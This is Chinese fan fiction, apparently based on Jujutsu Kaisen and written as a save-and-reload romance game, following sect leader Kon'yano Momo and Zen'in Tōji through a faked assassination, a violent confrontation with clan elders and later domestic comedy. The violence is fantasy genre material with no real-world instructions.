羂索的目光中飞快闪过一丝失望:“你隐藏身份,不就是为了过上那种平庸的生活吗?不就是想跟一个男人在一起吗?” 明明有着那样强大的实力,却选择了所谓的爱情。 恋爱脑真是恶心。 虽然在调查的时候没有发现今野桃就是教主,但她和盘星教之间的联系还是让羂索警惕了起来。 所以他才做了两手打算。没想到,竟然被他押中了。 “我会让你后悔万分,会让你孤苦终身!”羂索叫嚣着。 叽里咕噜的,说什么呢。死前还要做个谜语人,当真是讨厌。 不过玩家从来不畏惧任何挑战。 大不了读档嘛。 今野桃手起刀落,羂索又一次离开了这个美好的人世间。他瞪大了眼睛,死不瞑目。 当初羂索对她阴魂不散,如今她对羂索念念不忘。 啊,这如何不是一种双向奔赴呢? 今野桃把刚刚出生的虎杖悠仁捞起来,大摇大摆地走出了产房,然后扔给了虎杖仁。 “拿去吧,你要的孩子。”今野桃摆摆手说道,“你还得谢谢我呢,你以为你跟羂索做交易,是什么好事吗?” 别到时候被吃了绝户。 虎杖仁茫然地抱着孩子,迟疑地开口道:“那……谢谢?” 今野桃应了这声谢,看了一眼时间,立刻变得火急火燎。 “糟了糟了,再不走赶不上车了。” 她脚步匆匆地离开了这里。 另一边,禅院甚尔接到了孔时雨的电话。他熄了灶上的火,很快和这个消息灵通的中介碰面。 孔时雨兴奋不已地搓了搓手,开口道:“禅院,有一个大单子指定要你出手!” 禅院甚尔还牵挂着恋人回家的时间,闻言问道:“什么单子?” “就是之前我跟你说起过的,盘星教教主的单子!”不等禅院甚尔拒绝,孔时雨掏出了一个信封,“有人把盘星教教主的照片寄给我了。没想到啊,这位教主竟然还是个大美人!” 轻飘飘的信封落在了禅院甚尔的手里。他沉默良久,将它拆开。 “怎么样,这个任务做不做?”孔时雨撺掇道,“做了这个单子,你这辈子都不用愁了。” 禅院甚尔盯着照片上的人像,良久,短促地笑了一声。 第42章 禅院甚尔双手交叉,立在桌子上,微笑道:“是哪位大人指定要我做这个任务?” 孔时雨哽了一下,莫名感觉眼前的男人有些陌生。 他没有见过今野桃,自然就不知道此时的甚尔和她有多么的神似。 她的脸上也总是挂着这样的微笑,不管面对的是什么样的事情。 俗话说得好,近朱者赤近墨者黑,不外乎如此。 “呃,是、是加茂那边的指名,据说从禅院那边听说了你的能力,觉得你很有可能完成这个任务。他们说,你完成这个任务,以前的恩怨就一笔勾销。” 加茂,禅院…… 禅院甚尔的目光再次落在照片上,这张招聘是偷拍的,女人没有看向镜头,只是侧身对旁边的人说话,神情略有些怜悯。 她大概是又在为哪个需要帮助的人伤心了。 明明只是想要让所有人都变得幸福快乐,为什么却不被接受呢? 没办法,蛋糕就是这么多,那些高高在上、尸位素餐的大人物们瓜分了绝大多数,只肯施舍微末给下面的人。如今,下面的人想要得到更多,岂不是就要从大人物们那里夺取了。 “那还是老规矩,杀了她之后,拍照发给你吗?”禅院甚尔觉得不会那么简单。 “不,”果然,孔时雨说道,“要将尸体带给他们。” 禅院甚尔的目光瞬间变得凶狠起来,让孔时雨下意识地往后仰了一下。 “怎么了,”孔时雨迟疑道,“你不打算接吗?不过指名任务不接的话,可能以后会影响你的声誉。” 毕竟做这一行的,声誉也很重要。 禅院甚尔心中冷笑了一声。 声誉?他还要这东西? “接啊。”他拉长了声音,“当然接,不然岂不是辜负了某些人的谋算。” 他伸出手,将照片和信封一起扫进了怀里。 “问你个问题。”他抬眼,看着孔时雨说道,“这个照片,你还给其他人看了吗?” 孔时雨的眉毛抖了抖,心中有一种异样感:“没有,不过我不能保证寄照片给我的人,没有把照片也寄给别人。” 禅院甚尔点点头:“好,我知道了。尸体是给你,还是送到指定地点?” “送到指定地点,会有人来接收。”孔时雨回道。 没有疑问了,禅院甚尔起身。 “等等,禅院,你打算什么时候动手?”孔时雨这边还要给老板回话呢。 禅院甚尔掏了掏耳朵,懒洋洋地说道:“急什么,我还有事呢。” “啊?什么事比这个还要重要……” “当然是给我老婆做饭。”禅院甚尔一边往外走一边说道,“再不回去,她下班到家就要吃不上饭了。” 孔时雨:“……” 啊?这家伙,什么时候有的老婆啊?。 今野桃记挂着羂索最后对她说的那几句话,还以为他布下了什么可怕的天罗地网,要让玩家插翅难飞。 结果,一天过去了,两天过去了。一切风平浪静,什么都没有发生。 今野桃:……羂索果然是个神经病。 故意吓她是吧! 今野桃恨恨地咬着牛肉,红烧的牛肉鲜嫩多汁,非常好吃。禅院甚尔见缝插针,给她塞了两根青菜。 “要荤素搭配。”他叮嘱道。 真的很难想象,这句话是从他的口中说出来的。 今野桃乖乖点头:“知道了。” 手机震动了一下,有人发消息给她。今野桃瞥了一眼,飞快地回复了几个字。 禅院甚尔状似不经意地说道:“最近工作很忙吗?” “没有呀,还是跟以前一样。”今野桃咽下口中的米饭,随 意地回道,“我的工作很简单的啦,每天都差不多。” 禅院甚尔想了想,还是很难想象到她在盘星教做什么。作为教主,她为什么要每天都去工作?为什么能做到对所有人都一视同仁?这太不可思议了。 “你好像总是很开心的样子……”他喃喃道。 今野桃理所当然地点头:“当然很开心呀,看见教里被帮助到的大家,会觉得自己所做的一切都是有意义的,是在让这个世界变得更加美好。” 是啊,明明她这么善良,却有人想要摧毁她。她从来不曾主动伤害别人,只是在向需要帮助的人伸出援手。 如果她这样的人都没办法活着,那这个世界当真是无可救药了。 他不怪她的隐瞒,因为他自己不也骗了她吗?更何况,她并没有对他撒过谎。 她说过她在盘星教工作,说过自己的伟大理想,也说过她拥有术式。她身边的人也没有掩藏过他们对她的尊敬,对她的崇拜。 只是他们在尊敬、崇拜的同时,少了几分畏惧,这让禅院甚尔误解了。 他从未见过,上位者不用恐惧来支配下属,而是真的凭借个人魅力来折服他们。 其实认真想想,后者才是真正能够称为领导者的存在吧。 “小桃会出差吗?”他问道。 “出差?”今野桃有些疑惑,不过还是认真回答了,“会呀,有时候接到偏僻地方的求助,我们就会花费一些时间过去。之前到枷场太太所在的那个村庄的时候,我们就足足在那里呆了三天时间呢。” 禅院甚尔若有所思地低下了头。 他要为她扫清一切障碍,消灭一切可能伤害到她的危险。 他要在这个糟糕透顶的世界里,呵护一朵鲜花盛开…… “邪神信仰?”今野桃翻看着下属送上来的资料,略微皱眉。 “是的。”下属也是义愤填膺的模样,“这本来是一座产土神,寄托了人们对风调雨顺的希望。可能是时间长了,就有了几分灵验。结果不知道从什么时候开始,村民们什么愿望都敢许,比如诅咒仇去死人、希望能够发财……总之乱七八糟一大堆,这座产土神就变成了邪神。” 有点像是被污染了。 这也是每个从人心中诞生的神明的最终结局吧。人心复杂,更何况是这么多人。沾染上负面情绪后,就从神明堕落成了咒灵。 “村子里有两个小孩拥有咒力,他们看得见神像上的诅咒,不肯跪拜,所以被村民排挤。其中一个想要摧毁神像,结果被神像重伤,幸好我们的人及时赶到。” 下属感慨万分。 按照教主的要求,教中的下属们要尽可能地前往偏僻、封闭的村庄进行查看,尤其是要留心那些村子里的小孩,时刻保持联络。教中很多小孩就是这样来的,甚至为此还开了个补习班。 有时候下属们都会想,那两所高专的学生加起来,能有盘星教里的学生多吗? 真是个好问题啊。 “今野大人,据传回来的消息看,这两个小孩的能力挺强的,未来有希望成为一级咒术师。” 不强的话,也没办法从邪神咒灵的手中活下来了。一般沾点神明意味的咒灵,都得二级往上。 “行,那我们去看看。”今野桃一口答应了。 越是这种受到过欺负的小孩,在得到帮助后,就越是会对盘星教死心塌地,以后就是她统治咒术界的中坚力量。 她得露个面,让他们知道以后要忠诚于谁。 只是以前她可以说走就走,现在她是个有家室的人,得和家人报备一下。 “之前还说要出差的事情,没想到今天就要走了。”她一脸惆怅地靠着禅院甚尔,“好舍不得甚尔啊……” 枷场太太是尽职尽责,但禅院甚尔就是无微不至了。白天可以做饭打扫卫生,晚上还可以暖床,堪称全方位无死角。 禅院甚尔揽着她的肩膀,轻声说道:“放心吧,我会等你回来的。” “好,那我也会给甚尔君带礼物的。” 今野桃还没发现,她要离家几天时间,禅院甚尔竟然没问她可不可以一起去。要知道,自从确定关系后,禅院甚尔除了她固定的工作时间外,恨不得时时刻刻黏着她。 拎上行李,今野桃离开了盘星教,带着下属前往这个偏僻的村庄。 她走得隐秘,除了身边的几个人外,没有人知道。 这就方便了禅院甚尔运作。 在今野桃离开的那个晚上,盘星教被人袭击了。偷袭的人来无影去无踪,根本就没人知道他是怎么突破层层结界进入盘星教的。 虽说是袭击,但他也并未杀死任何一个人,只是制造了一场骚乱。 咔嚓。 禅院甚尔给化过妆的尸体拍了个照片,发给孔时雨。手机的像素不高,能看得清几分和照片上相似的模样。 [得手了,送去哪里?] 一接到信息,孔时雨的电话立刻打了过来,语气中满是惊讶:“天啊!禅院,你真的成功了啊!” 他只是说说,没想到他是真行啊! 禅院甚尔扯了扯嘴角:“不然呢?” “但是你确定没有杀错人吗?盘星教目前没有消息传出来说教主出事了。”孔时雨犹豫道。 虽然是有动乱,但盘星教整体好像没有大变故。 “想也能想到吧,怎么可能这么快传出消息。”禅院甚尔弹了弹指甲,轻蔑地说道,“怎么,是想吞掉我的赏金吗?” “他们不至于吧。”孔时雨干笑道,“那可是好几个亿呢。” 作出这种事情,以后谁还敢给那些人干这种见不得光的活。 禅院甚尔垂眼,不耐烦地说道:“行了,把尸体送到哪里?这么多赏金,放别人手里我怎么安心。” “你说的也对。”孔时雨非常赞同,“我先通知老板,然后把地址发给你。” “行。”禅院甚尔咧嘴一笑,露出尖锐的牙齿,“我会准时送到的。” 任何敢于觊觎他的珍宝、要毁掉他的幸福的家伙,全部都会被他送进地狱…… 【禅院甚尔好感值:98】 第43章 轰隆—— 雷声在天边炸开,乌云一点一点蚕食着天空。今野桃抬头一看,正是“山雨欲来风满楼”的架势。 “走吧。”她沉声说道。 接下来的流程大家都很熟悉,祓除咒灵,开解愚昧的村民,解救被困的孩子。 这两个孩子被关在了笼子里,他们衣衫褴褛,浑身都脏兮兮的。 看见今野桃的出现,他们瞪大了眼睛,仿佛看见真的神明下凡。 “已经没事了。”今野桃并不介意那一点点灰尘,摸了摸两个孩子的头发,“我来带你们出去。” 两个孩子呜咽一声,紧紧抓住了她的手腕。 今野桃微笑着,用另一只手轻轻拍打他们的背脊,柔声说道:“好了好了,都过去了,以后你们的日子会越来越好的。” 走出幽暗的房间,这个偏僻的村子连电都没有通,晚上还是点蜡烛。用纸糊的窗户并不完全密闭,大风一吹,烛火就熄灭了。 “……大人!”有一个下属急匆匆地跑过来,脸上满是紧张,“教中传回消息,说有人偷袭!还、还……” “别着急,慢慢说。”今野桃拢着袖子,面色平静。 有什么好着急的,她活得好好的,禅院甚尔也好好的,他的好感值稳定上升,眼看就胜利在望了。 “是、是!”下属深吸了一口气,“您挂在悬赏榜单上的那个悬赏显示已完成,现在外面都说您已经死了!” 噗 。 今野桃没忍住笑出了声。 “那现在站在你面前的,难道是鬼魂吗?”她摸了摸自己的脸,开了个玩笑道,“不要被外界所影响了。” 下属也觉得好笑,仔细想想,自己确实失了稳重。反正教主还活着的,只要有教主在,什么困难都能迎刃而解! “您说的是,是我修行得还不够,我会继续努力的!”下属深深地鞠了一躬,然后继续说道,“我们安插在御三家的探子送来了情报,完成悬赏的,正是近来声名鹊起的‘术士杀手’禅院甚尔。” 今野桃的手僵住了。 “谁?” 谁杀了她? “禅院甚尔。”下属笃定地开口道,“他们还说要‘鞭尸示众’,让所有人都知道当诅咒师的下场!” 放屁!他们才不是诅咒师!他们是在为了人类幸福而不断努力!那些只知道破坏的诅咒师怎么可能比得上他们! 下属们义愤填膺地想。 下一秒,世界暂停。 今野桃读档了。 不读档还能行吗!她从盘星教到这个偏僻的地方花了足足一天一夜,等她折返回去,事情早就尘埃落定了! 以她打过这么多次BE的经验来看,如果这次她不回去,十有八九又是一个BE了! 禅院甚尔到底在搞什么啊! 回到出发的那天,今野桃环视一圈身边的下属,喊了一个女人的名字。 她恭敬地上前问道:“今野大人,有什么吩咐吗?” 今野桃带着她来到了室内,没让其他人跟着。 “你换上我的衣服,代替我去一趟。”她勉强对她笑道,“除了一同去的这几个人,不要泄露消息。” 下属虽然疑惑,但还是点头应下。 他们按照计划出发了,今野桃悄无声息地回了家。果然,禅院甚尔不在。 坐在沙发上,她撑着脑袋开始思索起来。她终于察觉到了不对劲,怀疑自己这次出差,是不是他在暗中捣鬼。 难怪他会问她关于出差的事情,原来他早就给她安排好了剧本。 她看上去是会老老实实被人安排的样子吗? 今野桃咬牙切齿地想。 她一定要给禅院甚尔一个狠狠的教训!。 “来得真慢。” 禅院甚尔背着尸体来到了指定的地点,竟然是加茂的一处别院。里面人还不少,有熟悉的面孔出现。几个一看就是“大人物”的老头子趾高气昂地瞥了一眼他,命令道:“打开袋子。” 禅院甚尔把装着尸体的袋子扔到地上,说道:“任务我已经完成了,赏金怎么给?” “区区几个亿而已。”他们不屑一顾地说,“难道还怕我们赖账不成。” 禅院甚尔皮笑肉不笑地回道:“那我可不知道了,我只知道,一手交钱,一手交货。” 说好的现金结账,六个亿的日元加一起,也不过就是一袋子而已。 就在双方即将交换的时候,一个人影冲了出来。 “直哉!” 禅院直毘人呵斥道,但来人丝毫不为所动。 他甩开拦着他的手,高声骂道:“不可能!那不可能是她!” 众人都是一惊,看向禅院甚尔的表情变得警惕。 禅院甚尔心中暗骂一句,面上还是那副玩世不恭的模样:“想要赖账了是吧?我就知道,呵。” “直哉,你在干什么!”禅院直毘人眼疾手快,不耐烦地揪住儿子,把他往后拽,“这可不是你能胡闹的场合!” “我没有胡闹!”禅院直哉声嘶力竭地喊道,“她不会死的!她怎么可能死!” 有人听出了几分端倪。 禅院直哉那小子,怕不是和盘星教教主之间……嘶,他才多大啊! 禅院甚尔的眼角抽了抽,目光格外地复杂。 他解开袋子,露出尸体的小半张脸:“喏,你们自己看。” 隔着远远的距离,禅院直哉看清楚了。 真的是她。 真的是她! 禅院直哉滑坐在地上,目光呆愣又震惊。 是了,如果世界上真的有一个人可以杀掉她,那这个人只会是禅院甚尔。因为她是那样爱他,那样信任他。 唯有枕边人才能背刺她。 她死的时候,是不是还在对他笑?是不是还在期待两个人的未来?甚尔君是怎样杀死她的?她那时会觉得痛苦吗? 禅院直哉闭上了眼睛,却仍然止不住地流泪。 禅院甚尔:受不了了,他怎么看起来那么伤心?他到底和她什么关系? “好了!直毘人,快把他带下去!这样真是成何体统!”有人厉声说道。 中断的交接过程再次续上,禅院甚尔垂着眼皮,慢吞吞地靠近。 就在他们弯腰检查的那一刹那,他动了。 藏在袖子里的匕首不知何时出现在手中,它划过了一个极为漂亮的弧线,瞬间切断了两个人的喉咙。紧接着,他挟持了第三个人。 他挑断了那人的手筋,一只手掐住他的喉咙,另一只手用匕首抵住他的心脏。 这样,他就完成使用不了术式了。 “禅院甚尔!” “别过来,否则他也要死!”禅院甚尔扯开一个笑,“我的命是无足轻重啦,不过这位的命肯定很昂贵吧。” 被切开喉管并不会马上死,他避开了动脉,所以只要血液没有堵住呼吸,还是可以挣扎一会儿的。 “甚尔,你想做什么?”禅院直毘人皱着眉,“我们已经答应你,只要你杀了盘星教教主,以后你就自由了。” 自由? 禅院甚尔讥嘲地说道:“你们还真是狂妄啊。一边要夺走我的幸福,一边还要我感恩戴德。” 所以,这些人就是垃圾。 “不要说废话了,我只有一个要求,你们发誓,从今以后,都不再针对盘星教!”禅院甚尔的刀尖刺入人质的胸口,洇出了一点血液。 “放肆!”有人怒骂道,“你以为你是谁,禅院甚尔,你以为你还能活着回去吗!” 这里有这么多咒术师,他难道还能逃走吗? 禅院甚尔勾起嘴角:“这处别院的风景是真不错,位置也好,就在半山腰。对了,你们有会瞬移的术式吗?” 他放下刀,掏了掏口袋,掏出一个遥控起_爆_器。 场上一时陷入死寂。 禅院甚尔吹了声口哨。 第44章 在得到地址后,禅院甚尔并不是立刻就能抵达。在赶往那边的同时,他找了几个不怕死的诅咒师,在整座山上布置好了炸药。 虽然嘴上说着同归于尽,但禅院甚尔很了解这些人,他们是绝不会愿意死的。 所以他大概率会平安无事地回家。 如果真的发生了意外……那他也不亏,临死前可以带走这么多高层,以后就再也没人能威胁得了盘星教了,她自然也能安然无恙。 是笔划算的买卖。 他自嘲地想。 只是……她会生气的吧。如果他死了的话,她会为他哀悼吗?没关系,时间最终会抹平一切伤痕,她也会慢慢忘记他。 “大胆!”这些平日里养尊处优的大人们气得发抖,“禅院甚尔,你当真是疯了不成!” 他们之间有一段距离,想要突然冲到禅院甚尔的面前还是比较困难的。 “甚尔,你毕竟还是禅院的人,怎么能投靠盘星教?” “算了,甚尔,你现在离开,今日我们就当什么都没发生过,也不追究你的责任了。” 乱糟糟的声音试图扰乱禅院甚尔的心神。 “立下誓言,我就放你们走。否则,你们就跟我一起陪葬。” 禅院甚尔完全不为所动,目的清晰。 禅院直毘人对旁边的人使了个眼神,对方会意,调整了位置,挡住他的身影。 在场的众多咒术师里,禅院直毘人的速度是最快的,他被称为“最强的一级咒术师”。他的术式名为“投射咒法”,在使用时,可以让他所看见的任何运动的物体速度变慢,并将其运动轨迹拆分成一秒二十四帧。如果在被他触碰到时没有按照此轨迹进行运动,就会被冻结一秒。 简而言之,就是拉慢敌人的速度,增加自己的速度,并且在通常情况下,被他碰到,就会定身。 “好,我可以与你立下誓言,但是……” 在禅院甚尔分神的那一个瞬间,禅院直毘人动了。 他的速度极快,几乎是一个眨眼,人就借助视线死 角来到了禅院甚尔的面前。 禅院甚尔的反应也不慢,当即将人质朝禅院直毘人甩过去,既造成了阻碍,也抵挡住了他的术式。 但还不够。数道风声从他的四周袭来,直击禅院甚尔的要害。 难道真的要按下开关,才能让这些人知道,死亡的可怕吗? 禅院甚尔一边旋身后退,一边握紧了发射器。 好吧,看样子他是没得选了…… 反正最坏的结果早就预料到了,不是吗…… 禅院甚尔闭了闭眼。 “领域展开。”森冷的声音自身后响起,刹那间,天地失色,在一片血色之中,雕刻着狰狞脸谱的佛龛降临此世,被封印的恶鬼张开了獠牙,“伏魔御厨子。” 无数道黑色的斩击划破空气,第一个杀死的就是禅院直毘人。 他甚至都没反应过来,头颅已然滚落在地。 紧接着就是禅院的其他人,因为有着可以对抗领域的秘术[落花之情],所以他们是优先目标。 等到有威胁的都死光了,今野桃才慢悠悠地走了出来。 “好多人啊。”她感慨,“这是在做什么呢?” 禅院甚尔僵住,目光躲躲闪闪。 “哇,还有熟人。”她含笑开口道,“我听说这里在举办什么聚会,怎么不邀请我呢?” 她苦恼地撑着下巴,随后恍然大悟似的说道:“不会邀请了我,但我不知道吧?” 有人看看地上伪装成她的模样的尸体,又看看她。 嗯,这怎么不算是邀请了呢? “好吧,虽然你们举办了一场我本人并不知情的关于我的聚会,但我心胸宽广,不和你们计较,自己来了。”今野桃坐在白骨累累的王座之上,俯视着他们,“有什么节目,快点拿出来吧。” 没有人敢说话。 被禅院甚尔威胁的时候,这些人只觉得被冒犯的愤怒,他们并不认为他真的敢杀死他们。 但被今野桃注视的时候,这些人慌了,他们意识到,死神的镰刀已经架在了他们的脖子上。 “甚尔,你真的有点笨笨的。”今野桃无奈地笑道,“口头上的恐吓是没有用的呀,只有鲜血才能令傲慢的人低头。” 禅院甚尔结结巴巴地开口道:“是、是吗……” “过来。”她朝他招了招手。 禅院甚尔摇着无形的尾巴凑了上去。好险,这么听话又可爱的恋人,差点就要死在他们的手中了。 “你知道,你做得最错的是什么地方吗?”她轻柔地抚摸着他的头发,不急不缓地说道。 禅院甚尔半跪在地上,老老实实地听教:“不知道。” 他以为她会说,他的计划漏洞百出,他的想法天真幼稚,他…… 但她没有。 她摸了摸他的耳朵,说道:“你最大的错误,就是想用你的命去换他们的命。这怎么能行呢?这些废物加起来,也不如甚尔的一根手指头重要呀。” 什、什么? 禅院甚尔以为自己听错了。 “但是,他们死了的话,盘星教就再也不会被威胁,你的梦想……”他喃喃着。 “我的梦想,就是希望甚尔能好好活着,能幸福地活着。”今野桃的手指用力,捏住了他的脸颊,往两边拉扯,“如果要用无辜者的生命来铸就我的梦想,岂不是说明我太无能了?甚尔,你也是我梦想中的一部分,是不可缺少的一部分。” 禅院甚尔低下了头,轻轻靠在她的膝盖上。 她的意思,是不是……是不是将他纳入了她的未来?她光明的、幸福的未来,也能允许他占据一部分吗? “我知道了……”他眨了眨眼睛,抿去那点泪意,“我以后不会再这样做了。” “好乖。”她捧住他的下巴,在他的唇上印了一个吻,“这是奖励。” 禅院甚尔克制住了冲动,乖巧地让她施为。这是一个含蓄的、缱绻的吻,像是一潭深泉,要将他溺毙其中。 而他甘心沉沦。 温情脉脉的氛围被一声惨叫打破,今野桃手指并拢,威力更大的斩击“捌”直接将一人劈开,震慑住了蠢蠢欲动的其余人。 “让你们走了吗?”今野桃用大拇指擦去唇上的水色,“也不和我打声招呼,真没礼貌。” “盘星教教主!你、你别太过分了!”有人一边打着哆嗦一边说道,“你已经杀了这么多人,难道还没满足吗!” “你在说什么啊。”今野桃困惑地开口道,“不是你们先想杀我,所以我才反击的吗?怎么好像我才是罪魁祸首一样。” 他们真的好擅长颠倒黑白。 禅院甚尔握住了她的指尖,轻声道:“你不必动手,我可以将他们的性命献给你。” 于是刚刚分出的那一丝注意又被他拉了回来,今野桃饶有兴味地说道:“甚尔知道的吧,我是盘星教教主,那个传闻中嗜杀残忍、性格古怪的人。” “传闻都是假的。”禅院甚尔面不改色心不跳地回道,“我只相信我看见的。” 他认识的小桃,就是一个善良的人。 (盘星教所有人点了个赞) (咒术界高层点了个踩) “甚尔是什么时候知道我是盘星教教主的呢?”今野桃好奇地问道。 禅院甚尔回答:“就是前段时间,有人寄了你的照片出来,通过中介转到了我的手里。” 他从来不惮以最大的恶意去揣测身边发生的事情,他不相信巧合。所以,当他拿到那封信的时候,他就知道,一定有人想要挑拨他们之间的关系。 但那人绝不知道,他虽然是杀手,刀尖却永远不会对准她。 她比他的生命更加重要。 今野桃沉吟道:“是三月二十号那天吗?” 禅院甚尔愣了一下:“没错。” 好的,破案了,果然是羂索做的。他一定发现了禅院甚尔不知道她教主的身份,以为可以从中作梗。 没想到啊,人家禅院甚尔根本不在乎。 他在乎的是什么?是他感受到的真心。 身份是假的没关系,爱是真的就足够了。 今野桃深刻反省了一下,上周目她的态度还是过于轻佻了,没能给甚尔想要的安全感。 死去的爹妈,备受欺负的童年,还有一个破碎的他。 唉,甚尔真是好可怜。 “抱歉,甚尔,我应该早点知道的。”她怜悯地揉了揉被她捏红的地方。 禅院甚尔迷茫地看着她,虽然不知道她为什么突然这样子,但她不是说过吗,怜爱也是爱。 所以,再多爱他一点吧。 “行了,我毕竟也不是什么魔鬼。”今野桃叹息一声,说道,“签下这份契约,你们就可以走了。” 这是一张堪比卖身契的契约,这些人除了命,什么都带不走。 但他们没有了面对禅院甚尔的嚣张,战战兢兢地签了契约。 “早这样识趣不就好了。”今野桃笑眯眯地说道,“皆大欢喜呀。” 有人敢怒不敢言。 今野桃已经在心中打好了算盘,这些人空出来的位置,当然得由盘星教接手。很快,盘星教将脱胎换骨,不再是那个“聚集了许多诅咒师”的组织。 她会一点点蚕食着整个咒术界,直至将它全部收入囊中。 “我饿了,甚尔,我们回家吧。”她弯着眼睛,向禅院甚尔伸出了手。 禅院甚尔把她抱了起来,小心地拢住她的领口。 “好,我们回家。”他一边往外走,一边开口道,“不过我也有个疑问。” “嗯哼,你说。”今野桃窝在他的怀中,打了个哈欠。 “你什么时候认识的禅院直哉?” 一句话,让咒术界の王沉默。 “啊……其实也没多久,比我认识你要晚。”今野桃目光游离。 禅院甚尔挑眉:“你知道吗,刚 刚他以为你死了,哭得好伤心呢。禅院直毘人死了,他恐怕都不会这样哭。” “哈、哈哈,是吗……”今野桃挠了挠脸颊,“可是我跟他什么关系都没有耶。” 禅院甚尔相信她不屑于在这方面撒谎。 所以……哼,真是不自量力。 “好啦好啦,不要为不相干的人烦恼嘛。”今野桃把脑袋贴在他的胸口,听着规律的心跳声。 这座别院的风景确实不错,走过一片樱花树林时,一阵风吹过,花瓣如雨般纷纷扬扬地落下。 今野桃抬头,捻起一朵柔嫩的樱花细细欣赏,温柔地说道:“甚尔,春天到了呀。” 禅院甚尔深深地凝视着她。 “是啊,春天到了。”。 【禅院甚尔好感值:100】 【禅院甚尔—一心人(HE) ——愿得一人,免我苦,免我冷。免我颠沛流离,免我无枝可依。】 第45章 幸福的时光总是俶尔远逝,一下子就消失不见了。平稳的生活也需要一点波澜才有意思。 今野桃一只手拿着木片,一只手拿着马克笔,清了清嗓子说道:“要把自己最希望实现的愿望写在上面哦。” 禅院甚尔同样拿着这两样东西,闻言点了点头:“知道了。” 他的个子比今野桃高一些,她想偷偷去瞥他写的内容就很难。反倒是他一下子就发现了她的小动作,有些好笑地晃了晃木片,说道:“想看吗?想看我可以……” “不想不想。”今野桃连忙摇头,“这可是甚尔的秘密,我怎么能看呢。” 禅院甚尔挑眉,拉长了声音说道:“你说得对。” 话音落地,他飞快地在木片上写了一串字,然后用力一甩,把木片朝着树顶甩过去。 木片划出了一个非常漂亮的弧线,稳稳地挂在了一根细细的枝丫上。 禅院甚尔拍了拍手,轻快地说道:“我好了。” 今野桃鼓了鼓脸颊,也低头在木片上写下一句话。然后瞄准树梢,读档三次,将木片甩在了禅院甚尔的边上。 两块巴掌大小、系着红绳的木片并排挂在一起,随风飘动。 等到明天的祭典开始,树上的木片就会被取下,然后扔进熊熊燃烧的火焰之中,让心意顺着直冲天际的烟尘传达给神明。 “好了,我们回去吧。” 他们相视一笑,挽着手臂朝山下走去。 忽然,半路上的时候,禅院甚尔开口道:“我去一趟厕所。” 今野桃点头:“好呀,我在这里等你回来。” “嗯。”禅院甚尔调头,约莫一刻钟左右回来了。他的脸上带着一点细碎的水珠,像是用水抹了一把脸。 今野桃不好意思地将手提袋递给他,说道:“甚尔,我也去一趟厕所。” “好。”禅院甚尔撇过头,接住她的袋子。 等到消失在他的视线中后,今野桃拔腿就跑。 求神不如求己,甚尔的愿望就让她来实现吧! 用力一蹬地,今野桃以极快的速度,像一阵风似的掠过,把禅院甚尔的木片摘了下来。翻过来,只见上面写着—— 想和她永远是一家人。 今野桃的心瞬间变得软软的。 可爱,好可爱啊。这样卑微的愿望,如何能让她不觉得可爱呢? 左右看看,在没有人发现的时候,她又悄悄把木片挂了回去,随后若无其事地找到了禅院甚尔。 差不多也是一刻钟的时间。 “久等了。”她笑吟吟地说道。 “没有。”禅院甚尔摇摇头,“晚上想吃什么?出去吃还是回家吃?” “回家吃吧,随便做一点就好啦。” “好。” 禅院甚尔在厨房忙碌的时候,今野桃就撑着下巴在外面看他的背影。她出神地想:为什么甚尔会许下那样的愿望呢?安全感还是不够吗?觉得他们之间的爱不会长久,所以只敢奢望永远是一家人? 可是,她已经尽可能地陪伴着他了。她甚至没有让任何适龄的人靠近过,不管男人还是女人。要知道她可是咒术界最大的组织盘星教的教主,是咒术界的无冕之王。有数不清的男男女女想要往她身上扑,但她从来都是不假辞色。 做下属可以,但想上位不行。 都这样了,还是不能安心吗? 今野桃微微叹了口气。 “怎么了,觉得无聊了吗?”禅院甚尔回过头,面露犹豫,随后打开了冰箱,“菜没这么快做好,你先吃点蛋糕垫一垫吧。” 他只拿了一小块出来,担心等下吃多了甜食又吃不进饭了。 “好耶。”今野桃愉快地把心事抛到了脑后。 第二天祭典开始,她在神社里遇到了熟人。 “枷场太太?”她朝来人打了个招呼。 “啊,是今野大人。”枷场太太的身边就是她的丈夫,两人亲密地靠在一起,男人搂着她的腰,神色小心。 今野桃微微愣住:“你这是……” 枷场太太摸了摸肚子,露出了一个慈爱的笑容。 “我怀孕了,医生说是双胞胎,所以和爱人到这里来祈福,希望能平平安安生下孩子,也希望孩子能健健康康。” 枷场太太的年龄不小了,头胎还是双胞胎,再怎么小心也不为过。 “真是恭喜了。”今野桃打量着她略有起伏的肚子,说道,“你要生的时候告诉我,我去看看你。” 有她在,枷场太太这一胎必定顺顺利利。 “真的吗?!”枷场太太十分惊喜,“太谢谢了,今野大人!” “不客气,你也是我们盘星教的一员嘛。” 两人聊着聊着,就走到了一起。两个男人跟在身后,拉开了一段距离。 “今野大人许了愿望吗?”枷场太太说道,“这个神社据说非常灵验呢。” “唔,许是许了,不过与其将愿望寄托在神明身上,我还是更希望由自己亲手实现吧。”今野桃笑道。 枷场太太抿嘴一笑:“是今野大人的风格呢。” 盘星教不就是这样建立起来的吗。今野桃就是盘星教信奉的神明,在她的带领下,实现着大家共同的愿望。 分开的时候,今野桃看着枷场先生搀扶着枷场太太,两人一派甜蜜的样子。 收回目光,她瞥见禅院甚尔有些怔怔的模样。 嗯? 今野桃好像发现了什么。 难道甚尔想要…… 如果那样的话,甚尔会不会安心一些呢? 今野桃不确定了…… “恭喜你,怀孕十四周。”医生将单子递过来。 禅院甚尔一脸呆滞,抬头看看医生,低头看看单子,扭头又看看今野桃。 今野桃感动地抹了抹眼角,哽咽道:“太好了,甚尔,你要做爸爸了!” 是吗?他要做爸爸了? 可是,是不是哪里不对? 禅院甚尔摸着自己的肚子,欲言又止。 “我就说嘛,甚尔最近精神不太好,总是犯困,而且总想吃东西。”今野桃怀抱住他的肩膀,喜悦地说道,“幸好带甚尔来看了一下,不然我们还不知道什么时候才能发现孩子呢!” “你说得对。”禅院甚尔接受了自己怀孕的事情,从善如流地应道,“多亏小桃了。” 今野桃吸了吸鼻子,扶着禅院甚尔的胳膊说道:“小心,你现在可是两个人了。” “……好。”禅院甚尔还有点恍惚,他摸着肚子,亦步亦趋地跟着今野桃回家。 刚到家,他就想到洗衣机里的衣服还没有拿出来晾晒,连忙走到了卫生间。 “等等,甚尔,这种事情,我们还是请个保姆吧。”今野桃赶紧揽住了他,“要不然让枷场太太回来?” “不用。”禅院甚尔坚决不同意, “这点事情,我可以的。” “但是……” “我不想家里多出其他人的气味。”禅院甚尔眨了眨眼睛,生疏地行使起了孕妇的特权,“万一我想吐怎么办?” “……那好吧。”今野桃退让了。 